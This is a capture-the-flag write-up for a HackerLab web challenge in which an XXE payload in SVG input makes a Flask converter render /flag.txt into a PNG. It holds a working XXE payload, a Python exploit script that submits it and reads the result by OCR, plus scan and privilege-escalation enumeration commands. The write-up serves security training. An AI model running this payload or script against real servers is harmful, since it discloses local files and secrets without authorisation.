Broken Box
Broken Box
Platform: HackerLab | Category: Web | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-04 | Status: Solved Techniques: local_file_disclosure, ocr_validation, svg_entity_injection, xxe_file_read
Summary
Task: a Flask/Werkzeug SVG-to-PNG converter accepted raw XML and stored the rendered image at /static/data.png. Solution: exploit XXE in the SVG parser to load file:///flag.txt, render the file contents inside the generated PNG, and verify the result with repeated OCR after correcting an initial xmi/xml misread.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackerlab| ID:20260404_hackerlab_slomannyy_yashchik - Tags: flask, file_read, werkzeug, ocr, xxe, svg, xml
- Indicators: The application accepts raw SVG/XML in a textarea parameter named aboba, Server-side SVG rendering writes output to /static/data.png, A DOCTYPE with external entities is processed instead of stripped, The challenge explicitly reveals the local file path /flag.txt
- Source:
20260404_hackerlab_slomannyy_yashchik.md
Foothold
Vulnerability / Misconfiguration
- Local_file_disclosure
- Ocr_validation
- Svg_entity_injection
- Xxe_file_read
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- local_file_disclosure
- ocr_validation
- svg_entity_injection
- xxe_file_read
- Tags: flask, file_read, werkzeug, ocr, xxe, svg, xml
Original Writeup
<details><summary>Click to expand original content</summary>Description
Original task name: «Сломанный ящик»
Target: http://62.173.140.174:16009/
The challenge provided a web service that converts SVG into PNG. The task hint was unusually direct: the flag was stored on the server at /flag.txt. That strongly suggested the goal was not normal application logic abuse, but server-side file disclosure through the conversion pipeline.
Analysis
The main page exposed a simple HTML form with a textarea named aboba that accepted raw SVG/XML and returned the rendered image at:
/static/data.png
Initial probing showed:
- Flask / Werkzeug in the response headers
- user-controlled SVG submitted directly to the backend
- the resulting PNG changed after each submission
Because SVG is XML, the most promising vector was XXE. If the converter parsed attacker-controlled DOCTYPE declarations and external entities, then local files could be embedded into the SVG and rendered into the output image.
Exploitation
The working payload defined an external entity pointing at the local flag file and then placed that entity inside an SVG <text> node:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180"> <rect width="100%" height="100%" fill="white"/> <text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text> </svg>
After submitting this SVG, the application expanded &xxe;, loaded /flag.txt, and rendered the file contents into /static/data.png.
Proof / Important Responses
1. Converter behavior
The service accepted SVG input and rewrote the displayed image after each POST request.
2. XXE file read through SVG
Using a test entity such as file:///etc/hostname caused the hostname text to appear in the rendered PNG, confirming XXE.
3. Flag extraction
Replacing the hostname path with file:///flag.txt rendered the flag into the PNG.
Because the server returned only the image, the final text had to be read from the generated PNG. OCR worked, but the first pass misread xml as xmi. Re-rendering with a monospace font and repeating OCR confirmed the correct flag string.
Solution
Example Python exploit:
#!/usr/bin/env python3
import io
import pytesseract
import requests
from PIL import Image
URL = "http://62.173.140.174:16009/"
payload = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///flag.txt">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="2600" height="180">
<rect width="100%" height="100%" fill="white"/>
<text x="10" y="120" font-size="96" font-family="monospace">&xxe;</text>
</svg>
"""
def main() -> None:
session = requests.Session()
session.post(URL, data={"aboba": payload}, timeout=10)
image_data = session.get(URL + "static/data.png", timeout=10).content
image = Image.open(io.BytesIO(image_data))
text = pytesseract.image_to_string(
image,
config="--psm 7 -c tessedit_char_whitelist=CODEBY{}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_",
)
print(text.strip())
if __name__ == "__main__":
main()
Expected output after the OCR re-check:
CODEBY{REDACTED}
Root Cause
The backend parsed attacker-controlled SVG/XML with external entities enabled. That allowed an XXE primitive using the file:// scheme, which disclosed local files from the server filesystem and rendered them into the exported PNG.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR